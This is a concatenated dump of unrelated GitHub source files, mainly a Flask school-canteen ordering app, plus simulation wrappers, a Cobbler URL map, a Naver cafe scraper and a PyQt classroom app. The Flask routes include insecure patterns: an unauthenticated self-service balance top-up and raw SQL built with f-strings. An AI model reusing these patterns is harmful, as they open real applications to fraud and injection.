redirect(\"/\")\n\n\n@app.route(\"/home/add-order/confirm-order\")\n@login_required\ndef commit_order():\n if session.get(\"new_order_dishes\") is None:\n return redirect(\"/\")\n\n dishes = [Dish.query.filter_by(id=id).first() for id in session.get(\"new_order_dishes\")]\n session[\"new_order_dishes\"] = []\n\n order = Order(\n user_id=current_user.id,\n state=\"active\",\n dishes=encode_order(dishes),\n date=datetime.now(),\n cost=sum(map(lambda i: i.price, dishes))\n )\n\n if len(dishes) > 0:\n db.session.add(order)\n db.session.commit()\n return redirect(\"/\")\n\n\n@app.route(\"/home/add-order/add-dish-to-order\", methods=[\"GET\"])\n@login_required\ndef dish_choice_page():\n dishes = Dish.query.all()\n return render_template(\"dish_choice.html\", dishes=dishes)\n\n\n@app.route(\"/home/add-order/add-dish-to-order/add-\")\n@login_required\ndef add_dish_to_order(dish_id):\n dish = Dish.query.filter_by(id=dish_id).first()\n if session.get(\"new_order_dishes\"):\n session[\"new_order_dishes\"].append(dish.id)\n else:\n session[\"new_order_dishes\"] = [dish.id]\n session.modified = True\n\n return redirect(\"/home/add-order\")\n\n\n@app.route(\"/home/add-order/delete-dish-\")\n@login_required\ndef delete_dish_from_order(dish_id):\n if dish_id in session[\"new_order_dishes\"]:\n session[\"new_order_dishes\"].pop(session[\"new_order_dishes\"].index(dish_id))\n session.modified = True\n return redirect(\"/home/add-order\")\n\n\n@app.route(\"/logout\")\n@login_required\ndef logout():\n logout_user()\n return redirect(\"/login\")\n\n\n@app.route(\"/home/profile\")\n@login_and_perms_required(\"student\")\ndef profile():\n return render_template(\"stud_profile.html\", user=current_user)\n\n\n@app.route(\"/admin_menu\", methods=[\"GET\"])\n@login_and_perms_required(\"administrator\")\ndef admin_page():\n return render_template(\"admin_page.html\", user=current_user)\n\n\n@app.errorhandler(404)\ndef in_progress(e):\n return render_template(\"in_progress_log.html\", e=str(e).split()[0])\n\n\n@app.route(\"/admin_menu/users\", methods=[\"GET\", \"POST\"])\n@login_and_perms_required(\"administrator\", )\ndef users_view():\n input_list = {'login': '', 'grade': '', 'name': '', 'surname': ''}\n people = User.query.all()\n if request.method == \"POST\":\n input_list['login'] = request.form.get(\"search-login\")\n input_list['grade'] = request.form.get(\"search-grade\")\n input_list['name'] = request.form.get(\"search-name\")\n input_list['surname'] = request.form.get(\"search-surname\")\n if request.form.get(\"search-login\") or request.form.get(\"search-surname\") or request.form.get(\"search-name\") \\\n or request.form.get(\"search-grade\"):\n people = db.session.query(User).filter(User.login.like(f'%{request.form.get(\"search-login\")}%'),\n User.name.like(f'%{request.form.get(\"search-name\")}%'),\n User.surname.like(f'%{request.form.get(\"search-surname\")}%'),\n User.grade.like(f'%{request.form.get(\"search-grade\")}%') if not\n (request.form.get(\"search-grade\")) else\n User.grade.like(f'{request.form.get(\"search-grade\")}'))\n return render_template(\"users_view.html\", users=people, inputs=input_list)\n\n\n@app.route(\"/change_password\", methods=[\"GET\", \"POST\"])\ndef change_password():\n if request.method == \"POST\":\n user = User.query.filter_by(login=request.form.get(\"login\")).first()\n if not (user is None):\n password_1 = request.form.get(\"password_1\")\n password = request.form.get(\"password\")\n password_2 = request.form.get(\"password_2\")\n if check_password_hash(user.password, password_1) and password == password_2:\n user.password = generate_password_hash(password)\n db.session.commit()\n return redirect(\"/logout\")\n return render_template(\"change_password.html\")\n\n\n@app.route(\"/admin_menu/dishes\", methods=[\"GET\", \"POST\"])\n@login_and_perms_required(\"administrator\")\ndef dishes():\n return render_template(\"dishes.html\", dishes=Dish.query.all())\n\n\n@app.route(\"/admin_menu/dishes/detailed-\", methods=[\"GET\", \"POST\"])\n@login_and_perms_required(\"administrator\")\ndef more_inf(id):\n food = Dish.query.filter_by(id=id).first()\n if request.method == \"POST\":\n db.session.delete(food)\n db.session.commit()\n return redirect(\"/admin_menu/dishes\")\n return render_template(\"dishes_more.html\", dish=food)\n\n\n@app.route(\"/admin_menu/users/detailed-\", methods=[\"GET\", \"POST\"])\n@login_and_perms_required(\"administrator\")\ndef detailed(login):\n person = User.query.filter_by(login=login).first()\n if request.method == \"POST\":\n user = db.session.query(User).filter(User.login == login).first()\n if login != current_user.login:\n db.session.delete(user)\n db.session.commit()\n return redirect(\"/admin_menu/users\")\n else:\n db.session.delete(user)\n db.session.commit()\n return redirect(\"/logout\")\n return render_template(\"more_inf.html\", user=person)\n\n\n@app.route(\"/home/profile/add-funds\", methods=[\"GET\", \"POST\"])\ndef fill():\n if request.method == \"POST\":\n if int(request.form.get(\"summa\")) >= 0:\n user = User.query.filter_by(login=current_user.login).first()\n user.balance += int(request.form.get(\"summa\"))\n db.session.commit()\n return redirect(\"/home/profile\")\n return render_template(\"replanish_balance.html\")\n\n\n@app.route(\"/admin_menu/users/registartion\", methods=[\"GET\", \"POST\"])\n@login_and_perms_required(\"administrator\")\ndef registration():\n if request.method == \"POST\":\n perm = request.form.get(\"permissions\")\n if perm != \"student\" and perm != \"administrator\" and perm != \"staff\":\n perm = \"student\"\n if User.query.filter_by(login=request.form.get(\"login\")).first() is None:\n user = User(\n login=request.form.get(\"login\"),\n permissions=perm,\n password=generate_password_hash(request.form.get(\"password\")),\n name=request.form.get(\"name\"),\n surname=request.form.get(\"surname\"),\n grade=request.form.get(\"grade\"),\n balance=0\n )\n if request.form.get(\"password_2\") == request.form.get(\"password\"):\n db.session.add(user)\n db.session.commit()\n return redirect(\"/admin_menu/users\")\n return render_template(\"new_registration.html\")\n\n\n@app.route(\"/staff_menu\")\n@login_and_perms_required(\"staff\")\ndef staff_menu_view():\n return render_template(\"staff_menu.html\")\n\n\n@app.route(\"/staff_menu/queue\")\n@login_and_perms_required(\"staff\")\ndef queue_view():\n order = queue.get_order()\n if order:\n return render_template(\"queue_view.html\", queue_length=len(queue.orders), dishes=decode_order(order.dishes))\n else:\n return render_template(\"queue_view.html\", queue_length=0, dishes=[])\n\n\n@app.route(\"/staff_menu/queue/confirm_order\")\n@login_and_perms_required(\"staff\")\ndef confirm_order():\n order = queue.get_order()\n if order and order.cost <= User.query.get(order.user_id).balance:\n db.session.execute(text(f\"UPDATE 'order' SET state = 'confirmed' WHERE id = {order.id}\"))\n db.session.execute(text(f\"UPDATE 'user' SET balance = balance - {order.cost} WHERE id = {order.user_id}\"))\n db.session.commit()\n del queue.orders[-1]\n return redirect(\"/staff_menu/queue\")\n\n\n@app.route(\"/staff_menu/queue/deny_order\")\n@login_and_perms_required(\"staff\")\ndef deny_order():\n order = queue.get_order()\n if order:\n db.session.execute(sqlalchemy.text(f\"UPDATE 'order' SET state = 'declined' WHERE id = {order.id}\"))\n db.session.commit()\n del queue.orders[-1]\n return redirect(\"/staff_menu/queue\")\n\n\n@app.route(\"/staff_menu/timetable\", methods=[\"GET\", \"POST\"])\n@login_and_perms_required(\"staff\")\ndef timetable_change_func():\n if request.method == \"POST\":\n grades = request.form.get(\"grades\")\n if grades:\n queue.set_allowed_grades(tuple(map(int, grades.split(\",\"))))\n return redirect(\"/staff_menu\")\n\n return render_template(\"timetable.html\")\n\n\n@app.route(\"/home/profile/orders-history\", methods=[\"GET\", \"POST\"])\ndef get_history():\n current_orders = sorted([order for order in Order.query.filter_by(user_id=current_user.id).all() if order.state != 'active'], key=lambda i: i.date)\n return render_template(\"orders_history.html\", orders=current_orders)\n\n\n@app.route(\"/help\")\ndef help_():\n return render_template(\"help.html\")\n\n\n@app.route(\"/admin_menu/orders\", methods=[\"GET\", \"POST\"])\n@login_and_perms_required(\"administrator\")\ndef admin_orders():\n return render_template(\"admin_orders.html\", orders=Order.query.all())\n\n\n@app.route(\"/staff_menu/orders\", methods=[\"GET\", \"POST\"])\n@login_and_perms_required(\"staff\")\ndef staff_orders():\n return render_template(\"orders_staff.html\", orders=Order.query.all())\n\n\n@app.route(\"/admin_menu/dishes/menu-extension\", methods=[\"GET\", \"POST\"])\n@login_and_perms_required(\"administrator\")\ndef add_new_dish():\n print(Dish.query.all())\n if request.method == \"POST\":\n dish = Dish(\n price=request.form.get(\"price\"),\n title=request.form.get(\"title\"),\n description=request.form.get(\"description\"),\n image_url=\"-\"\n )\n db.session.add(dish)\n db.session.commit()\n return redirect(\"/admin_menu/dishes\")\n return render_template(\"menu_add_dish.html\", orders=Order.query.all())\n","repo_name":"GazizullinRinat/project_yandex_2","sub_path":"sweater/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":14048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6280468132","text":"import importlib\nfrom ComPASS.messages import deprecation\n\nfrom . import mpi\n\nkernel = None\n\n\ndef get_kernel():\n assert kernel is not None, \"kernel not loaded\"\n return kernel\n\n\ndef load_physics(physics_name):\n global kernel\n assert kernel is None\n kernel = importlib.import_module(\"ComPASS.physics.%s\" % physics_name)\n # CHECKME: we replace the behavior: from import ComPASS.physics.physics_name import *\n # there might be a more elegant way to do this\n # gdict = globals()\n # kdict = vars(kernel)\n # for key in kdict:\n # if key not in gdict:\n # gdict[key] = kdict[key]\n kernel.init_model()\n from .simulation._simulation_object import Simulation\n\n return Simulation(kernel)\n\n\ndef load_eos(physics_name):\n deprecation(f\"Use load_physics({physics_name})\")\n return load_physics(physics_name)\n\n\nclass Wrapper:\n def __init__(self, exposed):\n self._exposed = tuple(exposed)\n\n def __getattr__(self, name):\n if name in self._exposed:\n return getattr(get_kernel(), name)\n else:\n raise AttributeError(f\"wrapper has no attribute {name!r}\")\n\n def __dir__(self):\n res = super().__dir__()\n res.extend(self._exposed)\n return res\n\n\ncommon_wrapper = Wrapper(\n [\n # types\n \"COCcontainer\",\n \"COCiterator\",\n \"COC\",\n \"States\",\n \"NeumannContributions\",\n \"NeumannBC\",\n \"MeshConnectivity\",\n \"Residuals\",\n \"PartElement\",\n \"PartInfo\",\n \"NewtonIncrements\",\n \"CTVector\",\n \"WellGeometry\",\n \"Well\",\n \"WellData\",\n \"PerforationData\",\n \"PerforationState\",\n \"WellGroup\",\n \"WellInformation\",\n \"WellPerforations\",\n \"FluidProperties\",\n \"BlockMatrix\",\n ]\n)\n\n\nsimulation_wrapper = Wrapper(\n [\n \"LinearSystemBuilder\",\n \"init_model\",\n \"finalize_model\",\n \"finalize\",\n \"set_well_geometries\",\n \"set_well_data\",\n \"get_gravity\",\n \"set_gravity\",\n \"global_celltypes\",\n \"global_facetypes\",\n \"global_node_info\",\n \"has_energy_transfer_enabled\",\n \"global_number_of_cells\",\n \"global_number_of_nodes\",\n \"dirichlet_node_states\",\n \"node_states\",\n \"mswell_node_states\",\n \"cell_states\",\n \"fracture_states\",\n \"Residuals\",\n \"production_whp\",\n \"injection_whp\",\n \"nb_cells_own\",\n \"nb_nodes_own\",\n \"nb_faces_own\",\n \"nb_fractures_own\",\n \"get_connectivity\",\n \"get_nodes_by_fractures\",\n \"frac_face_id\",\n \"facetypes\",\n \"vertices\",\n \"celltypes\",\n \"number_of_phases\",\n \"State\",\n \"Phase\",\n \"Component\",\n \"Context\",\n \"number_of_components\",\n \"mass_fluxes\",\n \"enthalpy_fluxes\",\n \"create_mesh\",\n \"debug_utils_dump_mesh_info\",\n \"global_mesh_make_post_read\",\n \"global_mesh_make_post_read_fracture_and_dirBC\",\n \"global_mesh_allocate_petrophysics\",\n \"global_mesh_set_all_rocktypes\",\n \"build_well_connectivity\",\n \"global_mesh_mesh_bounding_box\",\n \"global_mesh_compute_all_connectivies\",\n \"global_mesh_set_frac\",\n \"global_mesh_node_of_frac\",\n \"global_mesh_set_dir_BC\",\n \"global_mesh_frac_by_node\",\n \"global_mesh_allocate_rocktype\",\n \"global_mesh_count_dirichlet_nodes\",\n \"compute_well_indices\",\n \"set_peaceman_index_threshold\",\n \"unset_peaceman_index_threshold\",\n \"get_atm_pressure\",\n \"set_atm_pressure\",\n \"get_atm_temperature\",\n \"set_atm_temperature\",\n \"get_rain_temperature\",\n \"set_rain_temperature\",\n \"get_atm_flux_radiation\",\n \"set_atm_flux_radiation\",\n \"get_soil_emissivity\",\n \"set_soil_emissivity\",\n \"get_atm_rain_flux\",\n \"set_atm_rain_flux\",\n \"get_freeflow_nodes\",\n \"get_freeflow_nodes_area\",\n \"freeflow_node_states\",\n \"get_rock_volumetric_heat_capacity\",\n \"set_rock_volumetric_heat_capacity\",\n \"get_fracture_thickness\",\n \"set_fracture_thickness\",\n \"all_states\",\n \"own_dirichlet_node_states\",\n \"own_node_states\",\n \"own_fracture_states\",\n \"own_cell_states\",\n \"set_Neumann_faces\",\n \"set_Neumann_fracture_edges\",\n \"get_global_connectivity\",\n \"number_of_nodes\",\n \"number_of_own_nodes\",\n \"number_of_cells\",\n \"number_of_own_cells\",\n \"number_of_faces\",\n \"number_of_own_faces\",\n \"number_of_fractures\",\n \"number_of_own_fractures\",\n \"number_of_own_injectors\",\n \"number_of_own_producers\",\n \"injection_whp\",\n \"production_whp\",\n \"global_nodeflags\",\n \"global_cellflags\",\n \"global_faceflags\",\n \"global_celltypes\",\n \"global_facetypes\",\n \"nodeflags\",\n \"cellflags\",\n \"faceflags\",\n \"celltypes\",\n \"facetypes\",\n \"face_frac_id\",\n \"frac_face_id\",\n \"nb_cells_own\",\n \"nb_faces_own\",\n \"nb_nodes_own\",\n \"nb_fractures_own\",\n \"nb_wellinj_own\",\n \"nb_wellprod_own\",\n \"all_thermal_sources\",\n \"cellthermalsource\",\n \"nodethermalsource\",\n \"fracturethermalsource\",\n \"all_Fourier_porous_volumes\",\n \"porovolfouriercell\",\n \"porovolfouriernode\",\n \"global_node_info\",\n \"node_info\",\n \"global_vertices\",\n \"vertices\",\n \"cell_centers\",\n \"face_centers\",\n \"global_cell_rocktypes\",\n \"global_node_rocktypes\",\n \"global_fracture_rocktypes\",\n \"cell_rocktypes\",\n \"node_rocktypes\",\n \"fracture_rocktypes\",\n \"get_global_id_faces_buffer\",\n \"get_cell_heat_source_buffer\",\n \"get_global_cell_porosity_buffer\",\n \"get_global_fracture_porosity_buffer\",\n \"get_global_cell_permeability_buffer\",\n \"get_global_fracture_permeability_buffer\",\n \"get_global_cell_thermal_conductivity_buffer\",\n \"get_global_fracture_thermal_conductivity_buffer\",\n \"porous_volume_Darcy\",\n \"petrophysics\",\n \"get_fill_kr_arrays\",\n \"set_fill_kr_arrays\",\n \"get_fill_phase_pressure_arrays\",\n \"set_fill_phase_pressure_arrays\",\n # \"cell_porosity\",\n # \"fracture_porosity\",\n # \"cell_permeability\",\n # \"fracture_permeability\",\n # \"cell_thermal_conductivity\",\n # \"fracture_thermal_conductivity\",\n \"register_c_viscosities_with_derivatives\",\n \"register_c_viscosities_without_derivatives\",\n \"register_c_molar_densities_with_derivatives\",\n \"register_c_molar_densities_without_derivatives\",\n \"register_c_volumetric_mass_densities_with_derivatives\",\n \"register_c_volumetric_mass_densities_without_derivatives\",\n \"register_c_molar_enthalpies_with_derivatives\",\n \"register_c_molar_enthalpies_without_derivatives\",\n \"Psat\",\n \"Tsat\",\n \"cpp_volumetric_mass_density\",\n \"diphasic_equilibrium\",\n \"clear_all_neumann_contributions\",\n \"cpp_liquid_molar_density\",\n \"cpp_liquid_molar_enthalpy\",\n \"cpp_gas_molar_density\",\n \"cpp_gas_molar_enthalpy\",\n \"cpp_liquid_dynamic_viscosity\",\n \"cpp_molar_density\",\n \"cpp_molar_enthalpy\",\n \"total_specific_enthalpy\",\n \"cpp_dynamic_viscosity\",\n \"is_context_locked\",\n \"lock_context\",\n \"unlock_context\",\n \"build_state\",\n \"all_states\",\n # wells, mswells\n \"nb_producers\",\n \"nb_injectors\",\n \"nb_mswells\",\n \"producers_information\",\n \"injectors_information\",\n \"producers_data\",\n \"injectors_data\",\n \"mswells_data\",\n \"producer_perforations\",\n \"injector_perforations\",\n \"producers_perforations\",\n \"injectors_perforations\",\n \"NumNodebyProc\",\n \"NumFracbyProc\",\n \"NumWellInjbyProc\",\n \"NumWellProdbyProc\",\n \"jacobian\",\n \"big_jacobian\",\n \"right_hand_side\",\n \"big_right_hand_side\",\n \"retrieve_jacobian\",\n \"retrieve_right_hand_side\",\n \"retrieve_partitioning\",\n \"set_AMPI_cpp\",\n \"get_AMPI_nnz_cpp\",\n \"set_RHS_cpp\",\n ]\n)\n\n_a_verifier = [\n # autonome\n \"dump_array_in_fortran\",\n \"increment_first_column_in_fortran\",\n # à trier\n \"check_IncCV\",\n \"neumann_conditions\",\n \"dump_incv_info\",\n \"model_number_of_phases\",\n \"model_number_of_components\",\n \"model_number_of_contexts\",\n \"init_warmup\",\n \"init_phase2_partition\",\n \"init_phase2_build_local_mesh\",\n \"init_phase2_setup_contexts\",\n \"init_phase2_setup_VAG\",\n \"init_phase2_setup_solvers\",\n \"Residu_update_accumulation\",\n \"SolvePetsc_SetUp\",\n \"SolvePetsc_Init\",\n \"SolvePetsc_KspSolveIterationNumber\",\n \"SolvePetsc_dump_system\",\n \"SolvePetsc_Ksp_configuration\",\n \"SolvePetsc_Ksp_iterations\",\n \"SolvePetsc_ksp_solve\",\n \"SolvePetsc_check_solution\",\n \"SyncPetsc_GetSolNodeFracWell\",\n \"SyncPetsc_global_matrix_size\",\n \"SyncPetsc_local_matrix_size\",\n \"part_info\",\n \"SyncPetsc_rowcolnum\",\n \"SyncPetsc_colnum\",\n \"IncCV_SaveIncPreviousTimeStep\",\n \"IncCV_LoadIncPreviousTimeStep\",\n \"IncCVWells_PressureDrop\",\n \"DirichletContribution_update\",\n \"IncPrimSecd_update_secondary_dependencies\",\n \"LoisThermoHydro_compute_phase_pressures\",\n \"LoisThermoHydro_compute_phase_pressures_derivatives\",\n \"LoisThermoHydro_compute\",\n \"Flux_DarcyFlux_Cell\",\n \"Flux_DarcyFlux_Frac\",\n \"Flux_FourierFlux_Cell\",\n \"Flux_FourierFlux_Frac\",\n \"Residu_compute\",\n \"Residu_reset_history\",\n \"Residu_RelativeNorm_local_closure\",\n \"Jacobian_JacBigA_BigSm\",\n \"Jacobian_Regularization\",\n \"Jacobian_Schur\",\n \"Jacobian_Alignment_man\",\n \"Jacobian_Alignment_diag\",\n \"Jacobian_GetSolCell\",\n \"NN_flash_all_control_volumes\",\n \"DefFlashWells_TimeFlash_injectors\",\n \"DefFlashWells_TimeFlash_producers_single_phase\",\n \"DefFlashWells_TimeFlash_producers_two_phases\",\n \"Newton_compute_relaxation\",\n \"IncCV_NewtonIncrement\",\n \"IncPrimSecd_PrimToSecd\",\n \"Jacobian_GetSolCell\",\n \"gas_molar_density\",\n \"cpp_gas_dynamic_viscosity\",\n]\n","repo_name":"BRGM/ComPASS","sub_path":"ComPASS/_kernel.py","file_name":"_kernel.py","file_ext":"py","file_size_in_byte":10401,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"54"} +{"seq_id":"31006060500","text":"class Ocorrencia:\n def __init__ (self, id, ident, valor):\n self.id = id\n self.ident = ident\n self.valor = valor\n\nclass Plano:\n def __init__ (self, id, indet, valor, tipoLoc, valorDia, valorKmEst, valorKmExced, b_valorDia, b_valorEst, b_valorExced):\n self.id = id\n self.ident = indet\n self.valor = valor\n self.tipoLoc = tipoLoc\n self.valorDia = valorDia\n self.valorKmEst = valorKmEst\n self.valorKmExced = valorKmExced\n self.b_valorDia = b_valorDia\n self.b_valorEst = b_valorEst\n self.b_valorExced = b_valorExced","repo_name":"adaiasreis/Projeto","sub_path":"clas/ocorrencia.py","file_name":"ocorrencia.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"70995195682","text":"import matplotlib.image as img\nimport numpy as np\na=img.imread(\"sample.png\");\nj,k=a.shape[:2]\nxNew = int(j/2);\nyNew = int(k/2);\nxScale = xNew/(j-1);\nyScale = yNew/(k-1);\nb = np.zeros([xNew,yNew,3]);\nfor i in range(xNew-1):\n for j in range(yNew-1):\n b[i+1,j+1] = a[(1+int(i/xScale)),(1+int(j/yScale))]\nimg.imsave(\"shine14.png\",b);\n","repo_name":"akshatjane/ImageProcessing","sub_path":"ip14.py","file_name":"ip14.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"18692964660","text":"from django.conf.urls.defaults import *\nfrom views import *\n\n# Uncomment the next two lines to enable the admin:\n# from cobbler_web.contrib import admin\n# admin.autodiscover()\n\nurlpatterns = patterns('',\n (r'^$', index),\n\n (r'^setting/list$', setting_list),\n (r'^setting/edit/(?P.+)$', setting_edit),\n (r'^setting/save$', setting_save),\n\n (r'^ksfile/list(/(?P\\d+))?$', ksfile_list),\n (r'^ksfile/edit$', ksfile_edit, {'editmode':'new'}),\n (r'^ksfile/edit/file:(?P.+)$', ksfile_edit, {'editmode':'edit'}),\n (r'^ksfile/save$', ksfile_save),\n\n (r'^snippet/list(/(?P\\d+))?$', snippet_list),\n (r'^snippet/edit$', snippet_edit, {'editmode':'new'}),\n (r'^snippet/edit/file:(?P.+)$', snippet_edit, {'editmode':'edit'}),\n (r'^snippet/save$', snippet_save),\n\n (r'^(?P\\w+)/list(/(?P\\d+))?', genlist),\n (r'^(?P\\w+)/modifylist/(?P[!\\w]+)/(?P.+)$', modify_list),\n (r'^(?P\\w+)/edit/(?P.+)$', generic_edit, {'editmode': 'edit'}),\n (r'^(?P\\w+)/edit$', generic_edit, {'editmode': 'new'}),\n\n (r'^(?P\\w+)/rename/(?P.+)/(?P.+)$', generic_rename),\n (r'^(?P\\w+)/copy/(?P.+)/(?P.+)$', generic_copy),\n (r'^(?P\\w+)/delete/(?P.+)$', generic_delete),\n\n (r'^(?P\\w+)/console/(?P.+)$', generic_console),\n (r'^(?P\\w+)/bios/(?P.+)$', generic_bios),\n (r'^(?P\\w+)/pxe/(?P.+)$', generic_pxe),\n (r'^(?P\\w+)/enpxe/(?P.+)$', generic_enpxe),\n (r'^(?P\\w+)/rebuild/(?P.+)$', generic_rebuild),\n (r'^(?P\\w+)/power/(?P.+)$', generic_power),\n\n (r'^(?P\\w+)/multi/(?P.+)/(?P.+)$', generic_domulti),\n (r'^utils/random_mac$', random_mac),\n (r'^utils/random_mac/virttype/(?P.+)$', random_mac),\n (r'^events$', events),\n (r'^eventlog/(?P.+)$', eventlog),\n (r'^task_created$', task_created),\n (r'^sync$', sync),\n (r'^reposync$',reposync),\n (r'^replicate$',replicate),\n (r'^hardlink', hardlink),\n (r'^(?P\\w+)/save$', generic_save),\n (r'^import/prompt$', import_prompt),\n (r'^import/run$', import_run),\n (r'^buildiso$', buildiso),\n (r'^check$', check),\n\n (r'^login$', login),\n (r'^do_login$', do_login),\n (r'^logout$', do_logout),\n)\n","repo_name":"niuzhenguo/cobbler_enhance","sub_path":"urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"54"} +{"seq_id":"18696295011","text":"from kafka import KafkaProducer\nimport requests\nfrom bs4 import BeautifulSoup as bs\nimport re\nfrom time import sleep\n\nurl=\"http://cafe.naver.com/ArticleList.nhn?search.clubid=10050146&search.menuid=334&search.boardtype=L\"\nmy_arr=[]\nrecentSubject=\"\"\nis_first=True\ntarget=[\"에르메스\",\"루이비통\",\"디올\",\"프라다\",\"구찌\",\"샤넬\"]\nexcepts=[\"삽니다\",\"매입\",\"구매\",\"구입\"]\nTOPIC_NAME=\"test\"\n\ndef get_table_number(self,base_url):\n html=requests.get(base_url)\n soup=html.text\n par_soup=bs(soup, 'html.parser')\n #tr_arr=par_soup.select(\"#main-area > div:nth-child(4) > table > tbody > tr\")\n number=par_soup.select_one(\"#main-area > div:nth-child(4) > table > tbody > tr:nth-child(1) > td.td_article > div.board-number > div\").text\n return number\n \n\ndef clean_text(text):\n cleaned_text = re.sub('[a-zA-Z]','',text)\n cleaned_text = re.sub('[\\{\\}\\[\\]\\/?.,;:|\\)*~`!^\\-_+<>@\\#$%&\\\\\\=\\(\\'\\\"]', '', cleaned_text)\n return cleaned_text\n\n\nwhile True:\n\n with requests.Session() as s:\n res=s.get(url)\n if res.status_code==requests.codes.ok:\n par_soup=bs(res.text, 'html.parser')\n number=par_soup.select_one(\"#main-area > div:nth-child(4) > table > tbody > tr:nth-child(1) > td.td_article > div.board-number > div\").text\n \n \n if recentSubject==number:\n print('there is no new product')\n\n sleep(10)\n \n elif recentSubject !=number:\n recentSubject=number\n print(recentSubject,\"new number -> start preprocessing\")\n sleep(2)\n tr_arr=par_soup.select_one(\"#main-area > div:nth-child(4) > table > tbody > tr\")\n a_tag=tr_arr.select_one('td.td_article > div.board-list > div > a')\n map = {\n \"title\":a_tag.text.strip(),\n \"url\":'https://cafe.naver.com' + a_tag[\"href\"],\n \"brand\": \" \"\n }\n print(map)\n #sleep(2)\n # if any(x in map[\"title\"] for x in target) and not any(x in map[\"title\"] for x in self.excepts):\n # msg_split=clean_text(map[\"title\"]).split(\" \")\n # for msg in msg_split:\n # for tar in target:\n # val = msg.find(tar)\n # if val !=-1:\n # map['brand']=tar\n # print(\"intermediate_stage.py로 데이터 전송, index:\", val)\n # print(map)\n# sleep(3)\n \n # for tr in tr_arr:\n # is_new_item=True\n # a_tag=tr.select_one('td.td_article > div.board-list > div > a')\n # map = {\n # \"title\":a_tag.text.strip(),\n # \"url\":'https://cafe.naver.com' + a_tag[\"href\"],\n # \"is_checked\": False,\n # }\n # for element in my_arr:\n\n # if element[\"url\"] == map[\"url\"]:\n # is_new_item=False\n # break\n # if is_new_item:\n # my_arr.insert(0,map)\n \n #print(map)\n############################################################################################################## \n # if not map[\"is_checked\"]:\n # map[\"is_checked\"] = True\n\n # if any(x in map[\"title\"] for x in target) and not any(x in map[\"title\"] for x in excepts):\n # clean_msg=clean_text(map[\"title\"]) \n # for m in clean_msg:\n # msg_split=clean_msg.split(\" \")\n # for ms in msg_split:\n # if ms in target:\n # map['brand']=ms\n # #else:\n # #map['brand']='None'\n # #print(map)\n # else:\n # map['brand']=None\n \n # brokers=[\"localhost:9091\",\"localhost:9092\",\"localhost:9093\"]\n # producer = KafkaProducer(bootstrap_servers=brokers)\n\n # producer.send(TOPIC_NAME, json.dumps(map).encode(\"utf-8\"))\n # producer.flush()\n # sleep(1)\n # print(map)\n \n#{'title': '프라다 테수토 호보백 (22년3월구매 최신상)',\n# 'url': 'https://cafe.naver.com/ArticleRead.nhn?clubid=10050146&page=1&menuid=782&boardtype=L&articleid=943911030&referrerAllArticles=false',\n# 'is_checked': True}","repo_name":"ondine0615/portforio","sub_path":"kafka/notebook_proeject/.ipynb_checkpoints/c-1-checkpoint.py","file_name":"c-1-checkpoint.py","file_ext":"py","file_size_in_byte":4459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"9915777178","text":"import sys\n\nimport qdarkstyle\n\nfrom smart_classroom.cheating_detection_app import CheatingDetectionApp\nfrom smart_classroom.class_concentration_app import ClassConcentrationApp\nfrom smart_classroom.dynamic_attendance_app import DynamicAttendanceApp\nfrom smart_classroom.face_register_app import FaceRegisterApp\n\ntry:\n import smart_classroom_rc\nexcept ImportError:\n pass\nimport torch\nfrom PyQt5 import QtGui\nfrom PyQt5.QtWidgets import QMainWindow, QApplication\n\nfrom ui.smart_classroom import Ui_MainWindow as SmartClassroomMainWindow\n\ntorch._C._jit_set_profiling_mode(False)\ntorch.jit.optimized_execution(False)\n\n\nclass SmartClassroomApp(QMainWindow, SmartClassroomMainWindow):\n\n def __init__(self, parent=None):\n super(SmartClassroomApp, self).__init__(parent)\n self.setupUi(self)\n self.cheating_detection_widget = CheatingDetectionApp()\n self.cheating_detection_widget.setObjectName(\"cheating_detection_widget\")\n self.tabWidget.addTab(self.cheating_detection_widget, \"作弊检测\")\n\n self.class_concentration_widget = ClassConcentrationApp()\n self.class_concentration_widget.setObjectName(\"class_concentration_widget\")\n self.tabWidget.addTab(self.class_concentration_widget, \"课堂专注度分析\")\n\n self.face_register_widget = FaceRegisterApp()\n self.face_register_widget.setObjectName(\"face_register_widget\")\n self.tabWidget.addTab(self.face_register_widget, \"人脸注册\")\n\n self.dynamic_attendance_widget = DynamicAttendanceApp()\n self.dynamic_attendance_widget.setObjectName(\"dynamic_attendance_widget\")\n self.tabWidget.addTab(self.dynamic_attendance_widget, \"动态点名\")\n\n self.current_tab_widget = self.tabWidget.currentWidget()\n\n def current_tab_change(idx, self=self):\n if self.current_tab_widget is not None:\n self.current_tab_widget.close()\n self.current_tab_widget = self.tabWidget.widget(idx)\n self.current_tab_widget.open()\n\n self.tabWidget.currentChanged.connect(current_tab_change)\n # def change_tab_widget(index):\n # self.tabWidget.widget(index).close()\n #\n # self.tabWidget.currentChanged.connect()\n # _translate = QtCore.QCoreApplication.translate\n # self.tabWidget.setTabText(self.tabWidget.indexOf(self.cheating_detection_widget),\n # _translate(\"MainWindow\", \"作弊检测\"))\n\n def closeEvent(self, a0: QtGui.QCloseEvent) -> None:\n self.cheating_detection_widget.close()\n self.face_register_widget.close()\n self.dynamic_attendance_widget.close()\n self.class_concentration_widget.close()\n super(SmartClassroomApp, self).closeEvent(a0)\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n # from QcureUi import cure\n #\n # window = cure.Windows(SmartClassroomApp(), 'trayname', True, title='智慧教室')\n window = SmartClassroomApp()\n app.setStyleSheet(qdarkstyle.load_stylesheet_pyqt5())\n # run\n window.show()\n sys.exit(app.exec_())\n","repo_name":"hongyaohongyao/smart_classroom_demo","sub_path":"smart_classroom_app.py","file_name":"smart_classroom_app.py","file_ext":"py","file_size_in_byte":3091,"program_lang":"python","lang":"en","doc_type":"code","stars":142,"dataset":"github-code","pt":"54"} +{"seq_id":"74464180642","text":"list1 = ['little', 'blue', 'widget']\nlist2 = ['there', 'is', 'a', 